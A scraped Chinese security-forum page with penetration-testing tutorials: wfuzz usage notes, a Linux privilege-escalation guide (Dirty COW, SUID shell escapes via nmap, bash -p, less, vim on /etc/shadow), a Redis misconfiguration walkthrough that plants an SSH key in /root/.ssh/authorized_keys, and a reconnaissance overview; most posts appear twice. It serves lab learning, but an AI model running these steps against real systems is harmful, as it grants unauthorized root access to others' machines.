url_safe, url | urlencode | 用`%xx`的方式替换特殊字符, 字母/数字/下划线/半角点/减号不替换
url_safe, url | double urlencode | 用`%25xx`的方式替换特殊字符, 字母/数字/下划线/半角点/减号不替换
url | uri_double_hex | 用`%25xx`的方式将所有字符进行编码
html | html_escape | 将`&`,`<`,`>`转换为HTML安全的字符
html | html_hexadecimal | 用 `&#xx;` 的方式替换所有字符
hashes | base64 | 将给定的字符串中的所有字符进行base64编码
url | doble_nibble_hex | 将所有字符以`%%dd%dd`格式进行编码
db | mssql_char | 将所有字符转换为MsSQL语法的`char(xx)`形式
url | utf8 | 将所有字符以`\u00xx` 格式进行编码
hashes | md5 | 将给定的字符串进行md5加密
default | random_upper | 将字符串中随机字符变为大写
url | first_nibble_hex | 将所有字符以`%%dd?` 格式进行编码
default | hexlify | 每个数据的单个比特转换为两个比特表示的hex表示
url | second_nibble_hex | 将所有字符以`%?%dd` 格式进行编码
url | uri_hex | 将所有字符以`%xx` 格式进行编码
default | none | 不进行任何编码
hashes | sha1 | 将字符串进行sha1加密
url | utf8_binary | 将字符串中的所有字符以 `\uxx` 形式进行编码
url | uri_triple_hex | 将所有字符以`%25%xx%xx` 格式进行编码
url | uri_unicode | 将所有字符以`%u00xx` 格式进行编码
html | html_decimal | 将所有字符以 `&#dd; ` 格式进行编码
db | oracle_char | 将所有字符转换为Oracle语法的`chr(xx)`形式
db | mysql_char | 将所有字符转换为MySQL语法的`char(xx)`形式
iterator
wfuzz的iterator提供了针对多个payload的处理方式。
itorators的列表如下:
    ┌─[michael@parrot]─[~]
└──╼ $wfuzz -e iterators
Available iterators:
Name | Summary
----------------------------------------------------------------------------------------------
product | 返回输入条目的笛卡尔积
zip | Retns an iterator that aggregates elements from each of the iterables.
chain | Returns an iterator returns elements from the first iterable until it is exhaust
| ed, then proceeds to the next iterable, until all of the iterables are exhausted
| (翻译不好,请自行理解)
printer
wfuzz的printers用于控制输出打印。
printers列表如下:
    ┌─[michael@parrot]─[~]
└──╼ $wfuzz -e printers
Available printers:
Name | Summary
--------------------------------------------------
raw | `Raw` output format
json | Results in `json` format
csv | `CSV` printer ftw
magictree | Prints results in `magictree` format
html | Prints results in `html` format
(比较好懂,不再翻译)
scripts
暂时不知道怎么使用
scripts列表如下:
    ┌─[michael@parrot]─[~]
└──╼ $wfuzz -e scripts
Available scripts:
Category | Name | Summary
----------------------------------------------------------------------------------------------------
default, passive | cookies | 查找新的cookies
default, passive | errors | 查找错误信息
passive | grep | HTTP response grep
active | screenshot | 用linux cutycapt tool 进行屏幕抓取
default, active, discovery | links | 解析HTML并查找新的内容
default, active, discovery | wc_extractor | 解析subversion的wc.db文件
default, passive | listing | 查找列目录漏洞
default, passive | title | 解析HTML页面的title
default, active, discovery | robots | 解析robots.txt文件来查找新内容
default, passive | headers | 查找服务器的返回头
default, active, discovery | cvs_extractor | 解析 CVS/Entries 文件
default, active, discovery | svn_extractor | 解析 .svn/entries 文件
active, discovery | backups | 查找已知的备份文件名
default, active, discovery | sitemap | 解析 sitemap.xml 文件
内置工具wfencode 工具
这是wfuzz自带的一个加密/解密(编码/反编码)工具,目前支持内建的encoders的加/解密。
    ┌─[michael@parrot]─[~/.wfuzz]
└──╼ $wfencode -e base64 123456
MTIzNDU2
┌─[michael@parrot]─[~/.wfuzz]
└──╼ $wfencode -d base64 MTIzNDU2
123456



















 wfpayload工具
wfpayload是payload生成工具
    ┌─[michael@parrot]─[~/.wfuzz]
└──╼ $wfpayload -z range,0-10
0
1
2
3
4
5
6
7
8
9
10
wxfuzz 工具
这个看源码是一个wxPython化的wfuzz,也就是GUI图形界面的wfuzz。目前需要wxPython最新版本才能使用,但是在ParrotOS和Kali上都无法正常安装成功,问题已在GitHub提交Issue,期待开发者的回复中…wfuzz命令中文帮助
这是wfuzz的主工具,我们平时使用的时候就是用这个。
先来看看帮助文档:
    ┌─[✗]─[michael@parrot]─[~]
└──╼ $wfuzz --help
********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer *
* *
* Version up to 1.4c coded by: *
* Christian Martorella (cmartorella@edge-security.com) *
* Carlos del ojo (deepbit@gmail.com) *
* *
* Version 1.4d to 2.2.9 coded by: *
* Xavier Mendez (xmendez@edge-security.com) *
********************************************************
Usage: wfuzz [options] -z payload,params <url>
FUZZ, ..., FUZnZ payload占位符,wfuzz会用指定的payload代替相应的占位符,n代表数字.
FUZZ{baseline_value} FUZZ 会被 baseline_value替换,并将此作为测试过程中第一个请求来测试,可用来作为过滤的一个基础。
Options:
-h/--help : 帮助文档
--help : 高级帮助文档
--version : Wfuzz详细版本信息
-e <type> : 显示可用的encoders/payloads/iterators/printers/scripts列表
--recipe <filename> : 从文件中读取参数
--dump-recipe <filename> : 打印当前的参数并保存成文档
--oF <filename> : 将测试结果保存到文件,这些结果可被wfuzz payload 处理
-c : 彩色化输出
-v : 详细输出
-f filename,printer : 将结果以printer的方式保存到filename (默认为raw printer).
-o printer : 输出特定printer的输出结果
--interact : (测试功能) 如果启用,所有的按键将会被捕获,这使得你能够与程序交互
--dry-run : 打印测试结果,而并不发送HTTP请求
--prev : 打印之前的HTTP请求(仅当使用payloads来生成测试结果时使用)
-p addr : 使用代理,格式 ip:port:type. 可设置多个代理,type可取的值为SOCKS4,SOCKS5 or HTTP(默认)
-t N : 指定连接的并发数,默认为10
-s N : 指定请求的间隔时间,默认为0
-R depth : 递归路径探测,depth指定最大递归数量
-L,--follow : 跟随HTTP重定向
-Z : 扫描模式 (连接错误将被忽视).
--req-delay N : 设置发送请求允许的最大时间,默认为 90,单位为秒.
--conn-delay N : 设置连接等待的最大时间,默认为 90,单位为秒.
-A : 是 --script=default -v -c 的简写
--script= : 与 --script=default 等价
--script=<plugins> : 进行脚本扫描, <plugins> 是一个以逗号分开的插件或插件分类列表
--script-help=<plugins> : 显示脚本的帮助
--script-args n1=v1,... : 给脚本传递参数. ie. --script-args grep.regex="<A href=\"(.*?)\">"
-u url : 指定请求的URL
-m iterator : 指定一个处理payloads的迭代器 (默认为product)
-z payload : 为每一个占位符指定一个payload,格式为 name[,parameter][,encoder].
编码可以是一个列表, 如 md5-sha1. 还可以串联起来, 如. md5@sha1.
还可使用编码各类名,如 url
使用help作为payload来显示payload的详细帮助信息,还可使用--slice进行过滤
--zP <params> : 给指定的payload设置参数。必须跟在 -z 或-w 参数后面
--slice <filter> : 以指定的表达式过滤payload的信息,必须跟在-z 参数后面
-w wordlist : 指定一个wordlist文件,等同于 -z file,wordlist
-V alltype : 暴力测试所有GET/POST参数,无需指定占位符
-X method : 指定一个发送请求的HTTP方法,如HEAD或FUZZ
-b cookie : 指定请求的cookie参数,可指定多个cookie
-d postdata : 设置用于测试的POST data (ex: "id=FUZZ&catalogue=1")
-H header : 设置用于测试请求的HEADER (ex:"Cookie:id=1312321&user=FUZZ"). 可指定多个HEADER.
--basic/ntlm/digest auth : 格式为 "user:pass" or "FUZZ:FUZZ" or "domain\FUZ2Z:FUZZ"
--hc/hl/hw/hh N[,N]+ : 以指定的返回码/行数/字数/字符数作为判断条件隐藏返回结果 (用 BBB 来接收 baseline)
--sc/sl/sw/sh N[,N]+ : 以指定的返回码/行数/字数/字符数作为判断条件显示返回结果 (用 BBB 来接收 baseline)
--ss/hs regex : 显示或隐藏返回结果中符合指定正则表达式的返回结果
--filter <filter> : 显示或隐藏符合指定filter表达式的返回结果 (用 BBB 来接收 baseline)
--prefilter <filter> : 用指定的filter表达式在测试之前过滤某些测试条目
参考:https://www.freebuf.com/column/163553.html
 


 

Linux提权小结

渗透测试llpkk 发表了文章 • 1 个评论 • 241 次浏览 • 2019-07-29 22:35 • 来自相关话题

Linux提权
1.信息收集
2.脏牛漏洞提权
3.内核漏洞exp提权
4.SUID提权
 
0x00 基础信息收集
(1):内核,操作系统和设备信息uname -a 打印所有可用的系统信息
uname -r 内核版本
uname -n 系统主机名。
uname -m 查看系统内核架构(64位/32位)
hostname 系统主机名
cat /proc/version 内核信息
cat /etc/*-release 分发信息
cat /etc/issue 分发信息
cat /proc/cpuinfo CPU信息
(2)用户和群组cat /etc/passwd 列出系统上的所有用户
cat /etc/group 列出系统上的所有组
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超级用户账户
whoami 查看当前用户
w 谁目前已登录,他们正在做什么
last 最后登录用户的列表
lastlog 所有用户上次登录的信息
lastlog –u %username% 有关指定用户上次登录的信息
lastlog |grep -v "Never" 以前登录用户的完
(3)用户和权限信息:whoami 当前用户名
id 当前用户信息
cat /etc/sudoers 谁被允许以root身份执行
sudo -l 当前用户可以以root身份执行操作(4)环境信息
 env 显示环境变量
set 现实环境变量
echo %PATH 路径信息
history 显示当前用户的历史命令记录
pwd 输出工作目录
cat /etc/profile 显示默认系统变量
cat /etc/shells 显示可用的shell更多 --> https://www.rebootuser.com/?p=1623
 
 
0x01脏牛漏洞本地提权
漏洞描述:
漏洞编号:CVE-2016-5195
漏洞名称:脏牛(Dirty COW)
漏洞危害:低权限用户利用该漏洞技术可以在全版本上实现本地提权
影响范围:Linux kernel >=2.6.22  并且Android也受影响
脏牛漏洞名称的来源:

Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。
一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞

漏洞原理:

该漏洞具体为,get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。修改su或者passwd程序就可以达到root的目的。

漏洞复现过程:
靶机:CentOS 6.5
1.查看linux内核版本是否大于等于2.6.22uname -a





2.上传POC至 /tmp 目录下(tmp目录具有较高权限)
 






3.对dirty.c进行gcc编译生成一个可执行文件gcc -pthread dirty.c -o dirty -lcrypt
***
-pthread会附加一个宏定义-D_REENTRANT该宏会导致libc头文件选择那些thread-safe的实现
-o 为编译后输出的文件名
***





4.运行dirty可执行文件进行本地提权./dirty passwd这个漏洞利用的过程大概要三分钟,耐心等待之后即可出现





此时切换到firefart用户,密码为123456





执行id命令后可以看到已经为root用户了,成功提权。
参考:http://zone.secevery.com/article/290

----------------------------------------
 
0x02内核漏洞提权

果linux内核版本小于2.6.22或者脏牛无法成功时,我们需要查看其他版本的内核漏洞。这时我们就用到了kali linux,自身所拥有的searchspolit可以帮助我们查看各种linux发行版本的漏洞。而searchs
polit的使用也很简单,只需要在后面跟上限定条件即可。
查看linux漏洞searchspolit linux




查看centos6版本漏洞searchspolit centos 6




但我们通常查看指定内核版本和linux版本。如:searchspolit centos 7 kernel 3.10




 
所限定的条件越多,当然可利用的漏洞也就越少。我们选中其中符合靶机环境的漏洞后进行查看。
利用leafpad命令查看文档内容并且复制到靶机上生成相应的文件。(漏洞的利用虽然是英文,但是一定要看一下使用方法)
 leafpad /usr/share/exploitdb/exploits/linux/dos/41350.c




参考:https://xz.aliyun.com/t/2860
-----------------------------------------------------
0x03 SUID提权
SUID概念:

SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性

SUID提权:

那么什么是suid提权呢?我理解的就是有个文件,它有s标志,并且他输入root,那么我们运行这个程序就可以有了root的权限,并且这个程序还得能执行命令,不然没什么用处,那么我们就能从普通用户提升到了root权限了。

首先在本地查找符合条件的文件,有以下三个命令find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;




列出来的所有文件都是以root用户权限来执行的,接下来找到可以提权的文件
--------------------------------------------------------
常用的可用于suid提权的文件Nmap
Vim
find
Bash
More
Less
Nano
cp
namp
较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。)
可以使用下命令进入namp交互模式nmap --interactive执行命令后会返回一个shellnmap> !sh
sh-3.2# whoami
root




而在Metasploit中也有一个模块可以通过SUID Nmap进行提权
 exploit/unix/local/setuid_nmapfind
如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行touch test
find test -exec whoami \;
vim
Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件vim /etc/shadow




 
bash
以下命令将以root身份打开一个bash shellbash -p
bash-3.2# id
uid=500(cow) gid=500(cow) euid=0(root) groups=500(cow)
less
程序less也可以执行提权后的shell。
 less /etc/passwd
!/bin/sh参考:https://www.anquanke.com/post/id/86979
  查看全部
Linux提权
1.信息收集
2.脏牛漏洞提权
3.内核漏洞exp提权
4.SUID提权
 
0x00 基础信息收集
(1):内核,操作系统和设备信息
uname -a    打印所有可用的系统信息
uname -r 内核版本
uname -n 系统主机名。
uname -m 查看系统内核架构(64位/32位)
hostname 系统主机名
cat /proc/version 内核信息
cat /etc/*-release 分发信息
cat /etc/issue 分发信息
cat /proc/cpuinfo CPU信息

(2)用户和群组
cat /etc/passwd     列出系统上的所有用户
cat /etc/group 列出系统上的所有组
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超级用户账户
whoami 查看当前用户
w 谁目前已登录,他们正在做什么
last 最后登录用户的列表
lastlog 所有用户上次登录的信息
lastlog –u %username% 有关指定用户上次登录的信息
lastlog |grep -v "Never" 以前登录用户的完

(3)用户和权限信息:
whoami        当前用户名
id 当前用户信息
cat /etc/sudoers 谁被允许以root身份执行
sudo -l 当前用户可以以root身份执行操作
(4)环境信息
 
env        显示环境变量
set 现实环境变量
echo %PATH 路径信息
history 显示当前用户的历史命令记录
pwd 输出工作目录
cat /etc/profile 显示默认系统变量
cat /etc/shells 显示可用的shell
更多 --> https://www.rebootuser.com/?p=1623
 
 
0x01脏牛漏洞本地提权
漏洞描述:
漏洞编号:CVE-2016-5195
漏洞名称:脏牛(Dirty COW)
漏洞危害:低权限用户利用该漏洞技术可以在全版本上实现本地提权
影响范围:Linux kernel >=2.6.22  并且Android也受影响
脏牛漏洞名称的来源:


Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。
一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞


漏洞原理:


该漏洞具体为,get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。修改su或者passwd程序就可以达到root的目的。


漏洞复现过程:
靶机:CentOS 6.5
1.查看linux内核版本是否大于等于2.6.22
uname -a

11.png


2.上传POC至 /tmp 目录下(tmp目录具有较高权限)
 

1.png


3.对dirty.c进行gcc编译生成一个可执行文件
gcc -pthread dirty.c -o dirty -lcrypt
***
-pthread会附加一个宏定义-D_REENTRANT该宏会导致libc头文件选择那些thread-safe的实现
-o 为编译后输出的文件名
***


2.png

4.运行dirty可执行文件进行本地提权
./dirty passwd
这个漏洞利用的过程大概要三分钟,耐心等待之后即可出现

3.png

此时切换到firefart用户,密码为123456

4.png

执行id命令后可以看到已经为root用户了,成功提权。
参考:http://zone.secevery.com/article/290

----------------------------------------
 
0x02内核漏洞提权

果linux内核版本小于2.6.22或者脏牛无法成功时,我们需要查看其他版本的内核漏洞。这时我们就用到了kali linux,自身所拥有的searchspolit可以帮助我们查看各种linux发行版本的漏洞。而searchs
polit的使用也很简单,只需要在后面跟上限定条件即可。
查看linux漏洞
searchspolit linux

5.png

查看centos6版本漏洞
searchspolit centos 6

6.png

但我们通常查看指定内核版本和linux版本。如:
searchspolit centos 7 kernel 3.10

7.png

 
所限定的条件越多,当然可利用的漏洞也就越少。我们选中其中符合靶机环境的漏洞后进行查看。
利用leafpad命令查看文档内容并且复制到靶机上生成相应的文件。(漏洞的利用虽然是英文,但是一定要看一下使用方法)
 
leafpad /usr/share/exploitdb/exploits/linux/dos/41350.c

8.png

参考:https://xz.aliyun.com/t/2860
-----------------------------------------------------
0x03 SUID提权
SUID概念:


SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性


SUID提权:


那么什么是suid提权呢?我理解的就是有个文件,它有s标志,并且他输入root,那么我们运行这个程序就可以有了root的权限,并且这个程序还得能执行命令,不然没什么用处,那么我们就能从普通用户提升到了root权限了。


首先在本地查找符合条件的文件,有以下三个命令
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

01.png

列出来的所有文件都是以root用户权限来执行的,接下来找到可以提权的文件
--------------------------------------------------------
常用的可用于suid提权的文件
Nmap
Vim
find
Bash
More
Less
Nano
cp

namp
较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。)
可以使用下命令进入namp交互模式
nmap --interactive
执行命令后会返回一个shell
nmap> !sh
sh-3.2# whoami
root

02.png

而在Metasploit中也有一个模块可以通过SUID Nmap进行提权
 
exploit/unix/local/setuid_nmap
find
如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行
touch test
find test -exec whoami \;

vim
Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件
vim /etc/shadow

03.png

 
bash
以下命令将以root身份打开一个bash shell
bash -p
bash-3.2# id
uid=500(cow) gid=500(cow) euid=0(root) groups=500(cow)

less
程序less也可以执行提权后的shell。
 
less /etc/passwd
!/bin/sh
参考:https://www.anquanke.com/post/id/86979
 

Redis SSH的免秘钥登陆

渗透测试fireant 发表了文章 • 0 个评论 • 172 次浏览 • 2019-07-29 19:33 • 来自相关话题

0x00什么是Redis?
   Redis是一个开源的使用ANSIC语言编写、Key-Value数据库,并提供多种语言的API,所谓的KEY对Value指的是每一个Key都对应一个value值。value也可以是null。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者用户可以自己手工输入save命令保存在服务器上,并且在此基础上实现了master-slave(主从)同步。

0x02Redis的安装-配置过程
Redis默认安装好默认端口是6379。
Redis默认配置是不对外开放,也就是不允许外联,需要用户手工修改靶机/etc/redis/redis.conf。
Redis默认情况下是无需任何账户密码进行连接的。
Redis安装之后默认会有一个叫 “redis-server”的服务端用于启动redis服务,启动命令“redis-server /etc/redis/redis.conf”。
Redis安装之后默认还会有一个“redis-cli”的客户端,用于连接redis数据库,可以自身连接也可以连接其它主机上的redis。

1. 从官网下载redis源码的压缩包wget http://download.redis.io/releases/redis-5.0.5.tar.gz
2. 下载完成后,解压压缩包tar xzf redis-5.0.5.tar.gz
3. 然后进入解压后的目录:cd redis-5.0.5,输入make并执行

4. make结束后,进入src目录:cd src,将redis-server和redis-cli拷贝到/usr/bin目录cp redis-server /usr/bin/
cp redis-cli /usr/bin/
5. 返回目录redis-5.0.5,将redis.conf拷贝到/etc/目录下cp redis.conf /etc/
6. 编辑etc中的redis配置文件redis.confpython@ubuntu:~/Desktop/redis-5.0.5$ [b]vim /etc/redis.conf[/b]
7.去掉ip绑定,允许除本地外的主机远程登录redis服务:





 
8.关闭保护模式,允许远程连接redis服务:





 
9. 使用/etc/目录下的redis.conf文件中的配置启动redis服务root@kali:~/redis-5.0.5# redis-server /etc/redis.conf

0x02Redis的使用方法
Redis常用命令:set key value :创建一个key对应的值,如set test 123456,其中test是key, 123456则是value
get key :获取key的值
keys * :获取所有的key,也可以通配符形式搜索指定的key,如果表示当前有两个key
expire key 10 :设置key的过期时间为10秒,10秒之后这个key就没了
del key :删除某个key
Redis-cli常用命令:-h :指定要连接的主机IP或域名
-p :指定连接的端口
-a :指定密码
-r :执行指定的命令
-n :数据库名
-x :将最后一个参数输出为value
服务器操作命令info:获取redis以及服务器的基本信息
config get dir :获取cat
config set dir /root/ :设置redis的备份路径为/root/,如果提示没权限说明你当前无权限设置该目录
config set dbfilename test.php :设置备份文件的名字为test.php,默认为dump.rdb。
config get dbfilename :自然就是获取备份数据库的名字。
save : 将数据库的内容备份到本地磁盘,默认备份在安装Redis的src目录,名字为dump.rdb


 
0x03redis免秘钥登陆的原理及操作步骤

   原理: 其实原理是在数据库中插入一条数据,将本机的公钥作为value,key的名字随意,然后通过设置备份数据库的路径为/root/.ssh以及对数据库备份名字为authorized_keys,然后这样就可以在目标服务器的路径生成一个授权KEY

靶机:192.168.10.224

1.生成公私钥:ssh-keygen -t rsa





2.将id_rsa.pub的内容输出到key.txt:
在~/.ssh目录下执行(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt





3.连接目标机ip的redis 通过-x参数将key.txt 设置为 key “crackit”的value:cat key.txt | redis-cli -h 192.168.10.224 -x set cracki
4.远程登陆靶机的redis服务
root@kali:~/.ssh# redis-cli -h 192.168.10.224





获取redis的备份路径:config get dir
更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)
config set dir /root/.ssh
设置备份的数据库名称为authorized_keys:config set dbfilename authorized_keys
查看数据库名是否正确设置:config get dbfilename
 将数据保存在硬盘之中并退出:save
exit
5.使用ssh免密登录靶机ssh 192.168.10.224




  查看全部
0x00什么是Redis?
   Redis是一个开源的使用ANSIC语言编写、Key-Value数据库,并提供多种语言的API,所谓的KEY对Value指的是每一个Key都对应一个value值。value也可以是null。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者用户可以自己手工输入save命令保存在服务器上,并且在此基础上实现了master-slave(主从)同步。

0x02Redis的安装-配置过程
Redis默认安装好默认端口是6379。
Redis默认配置是不对外开放,也就是不允许外联,需要用户手工修改靶机/etc/redis/redis.conf。
Redis默认情况下是无需任何账户密码进行连接的。
Redis安装之后默认会有一个叫 “redis-server”的服务端用于启动redis服务,启动命令“redis-server /etc/redis/redis.conf”。
Redis安装之后默认还会有一个“redis-cli”的客户端,用于连接redis数据库,可以自身连接也可以连接其它主机上的redis。

1. 从官网下载redis源码的压缩包
wget http://download.redis.io/releases/redis-5.0.5.tar.gz

2. 下载完成后,解压压缩包
tar xzf redis-5.0.5.tar.gz

3. 然后进入解压后的目录:cd redis-5.0.5,输入make并执行

4. make结束后,进入src目录:cd src,将redis-server和redis-cli拷贝到/usr/bin目录
cp redis-server /usr/bin/
cp redis-cli /usr/bin/

5. 返回目录redis-5.0.5,将redis.conf拷贝到/etc/目录下
cp redis.conf /etc/

6. 编辑etc中的redis配置文件redis.conf
python@ubuntu:~/Desktop/redis-5.0.5$ [b]vim /etc/redis.conf[/b]

7.去掉ip绑定,允许除本地外的主机远程登录redis服务:

TIM截图20190729190640.png

 
8.关闭保护模式,允许远程连接redis服务:

TIM截图20190729190958.png

 
9. 使用/etc/目录下的redis.conf文件中的配置启动redis服务
root@kali:~/redis-5.0.5# redis-server /etc/redis.conf


0x02Redis的使用方法
Redis常用命令:
set key value :创建一个key对应的值,如set test 123456,其中test是key, 123456则是value
get key :获取key的值
keys * :获取所有的key,也可以通配符形式搜索指定的key,如果表示当前有两个key
expire key 10 :设置key的过期时间为10秒,10秒之后这个key就没了
del key :删除某个key

Redis-cli常用命令:
-h :指定要连接的主机IP或域名
-p :指定连接的端口
-a :指定密码
-r :执行指定的命令
-n :数据库名
-x :将最后一个参数输出为value

服务器操作命令
info:获取redis以及服务器的基本信息
config get dir :获取cat
config set dir /root/ :设置redis的备份路径为/root/,如果提示没权限说明你当前无权限设置该目录
config set dbfilename test.php :设置备份文件的名字为test.php,默认为dump.rdb。
config get dbfilename :自然就是获取备份数据库的名字。
save : 将数据库的内容备份到本地磁盘,默认备份在安装Redis的src目录,名字为dump.rdb


 
0x03redis免秘钥登陆的原理及操作步骤

   原理: 其实原理是在数据库中插入一条数据,将本机的公钥作为value,key的名字随意,然后通过设置备份数据库的路径为/root/.ssh以及对数据库备份名字为authorized_keys,然后这样就可以在目标服务器的路径生成一个授权KEY

靶机:192.168.10.224

1.生成公私钥:
ssh-keygen -t rsa

TIM截图20190729184151.png


2.将id_rsa.pub的内容输出到key.txt:
在~/.ssh目录下执行
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

TIM截图20190729184310.png


3.连接目标机ip的redis 通过-x参数将key.txt 设置为 key “crackit”的value:
cat key.txt | redis-cli -h 192.168.10.224 -x set cracki

4.远程登陆靶机的redis服务
root@kali:~/.ssh# redis-cli -h 192.168.10.224

TIM截图20190729184651.png


获取redis的备份路径:
config get dir

更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)
config set dir /root/.ssh

设置备份的数据库名称为authorized_keys:
config set dbfilename authorized_keys

查看数据库名是否正确设置:
config get dbfilename

 将数据保存在硬盘之中并退出:
save
exit

5.使用ssh免密登录靶机
ssh 192.168.10.224

TIM截图20190729184802.png

 

渗透前的目标信息收集小结

Web安全渗透flaray 发表了文章 • 1 个评论 • 388 次浏览 • 2019-07-29 17:01 • 来自相关话题

前言:
信息收集分类:
1、主动式信息搜集(可获取到的信息较多,但易被目标发现)
2、通过直接发起与被测目标网络之间的互动来获取相关信息,如通过Nmap扫描目标系统。
3、被动式信息搜集(搜集到的信息较少,但不易被发现,如通过搜索引擎搜索)
4、通过第三方服务来获取目标网络相关信息。如通过搜索引擎方式来搜集信息。
搜集什么信息

1、whois信息
2、网站架构(语言、中间件、数据库、平台)
3、dns信息(通过查询dns可以检测是否存在dns域传送和域行走)
4、子域名搜集(搜索引擎和工具以及漏洞)
5、敏感目录及敏感信息、源码泄露(搜索引擎+工具、GitHub等)
6、系统漏洞(系统版本漏洞是否修补)
7、旁站查询(通过IP反查)
8、C端查询(确认大公司或组织网段内子站)
9、指纹信息(框架探测)
10、端口服务
11、备案信息(whois反查、)
12、真实ip(绕过CDN)
13、探测waf(后续可确定Bypass方式)
14、社工(朋友圈、微博、qq空间、求职、交易等社交平台)
15、企业信息(天眼查、企业信用信息公示系统、工业和信息化部ICP/IP地址/域名信息备案管理系统)

信息搜集的流程
上面我已经列举了需要搜集的信息,然后我给它们分了一下类。
我考虑到一个网站的组成是由域名、服务器、网站程序组成的。
因此:

首先入手域名方面:whois、子域名、备案信息;
其次是入手服务器方面:dns信息、端口服务、真实ip;
然后入手网站程序(web层)方面:网站架构、敏感目录及敏感信息、源码泄露(搜索引擎+工具)、脆弱系统(网络空间)、旁站查询、C端查询、指纹信息、探测waf;
最后入手企业方面:天眼查、企业信用信息公示系统

 
0x00:IP发现
1.IP反查域名(查询旁站)如果你的渗透目标网站是一台虚拟主机,那么通过IP反查到的域名信息往往很有价值, 因为一台物理服务器上面可能运行多个虚拟主机,这些虚拟主机具有不同的域名,但通常共用一个IP地址。如果你知道有哪些网站共用这台服务器,就有可能通过此台服务器上其他网站的漏洞获取服务器控制权,进而迂回获取渗透目标的权限,这种技术也称为“旁注”。


站点和工具:http://www.ip-adress.com/reverse_iphttp://www.7c.com/https://dns.aizhan.com/https://tools.ipip.net/ipdomain.phphttp://www.webscan.cc/http://dns.bugscaner.com/ 2.域名查询IP知道一个站点的域名需要得到它的IP以便之后获取端口信息或扫描等后续工作。


站点和工具:http://www.webscan.cc/http://www.yunsee.cn/https://www.whatweb.net/http://ip.tool.chinaz.com/http://dns.bugscaner.com/注:判断是否目标使用CDN(1).ping 目标主域,观察域名的解析情况,以此来判断是否使用了 CDN;(2).利用在线网站 17CE,进行全国多地区的 ping 服务器操作,然后对比每个地区 ping 出的 IP 结果,查看这些 IP 是否一致,如果都是一样的,极有可能不存在 CDN。如果 IP 大多不太一样或者规律性很强,可是尝试查询这些 IP 的归属地,判断是都存在 IP。在确认目标用了 CDN 的情况下:内部邮箱源(让服务器给你发邮件看邮件头IP)(最可靠)通过zmpap全网爆破查询真实IP(可靠)扫描网站测试文件分站域名(根据收集分站查看产生交互最多的站)国外访问(App Synthetic Monitor)查询域名解析记录(NETCRAFT)(查询域名历史IP)如果网站有 App,抓 App 的请求绕过 CloudFlare CDN 查找真实 IP(CloudFlareWatch)   3.IP WHOIS查询IP WHOIS就是查询IP的详细信息的数据库(如IP使用人和IP使用人的相关信息等)。


http://tool.chinaz.com/ipwhoishttp://www.guoxue.com/whois/index.phphttp://whois.bugscaner.com/https://www.whois.com/whoishttps://www.cxw.com/  4.C端存活主机探测


https://phpinfo.me/bing.phphttp://cduan.cc/c/http://www.webscan.cc/https://github.com/se55i0n/Cwebscanner也可以使用Nmap扫描:Nmap: nmap -sP www.XXX.com/24 || nmap -sP 192.168.1.*5.C段常见端口探测(1)最笨的方法:C段导入到文件,nmap扫描。-iL参数:扫描文件中列出的所有IP地址。nmap -iL ip.txt。配合其他自定义限制条件扫描。(2)其他工具神器masscan: https://github.com/robertdavidgraham/masscanMasscan安装和使用:http://zone.secevery.com/article/1098   0x01:域名发现1.子域名发现开始渗透一个网站前,需要知道网站的网络资产:域名、IP等,而IP和域名有着直接的解析关系,所以如何找到网站所有子域名是关键。(1)DNS枚举(根据字典爆破)域名可以通过收集常用域名字典,去DNS服务商查询是否有解析记录来枚举子域名。很多工具都是通过预定义的字典枚举:如Lay子域名挖掘机,subbrute等。


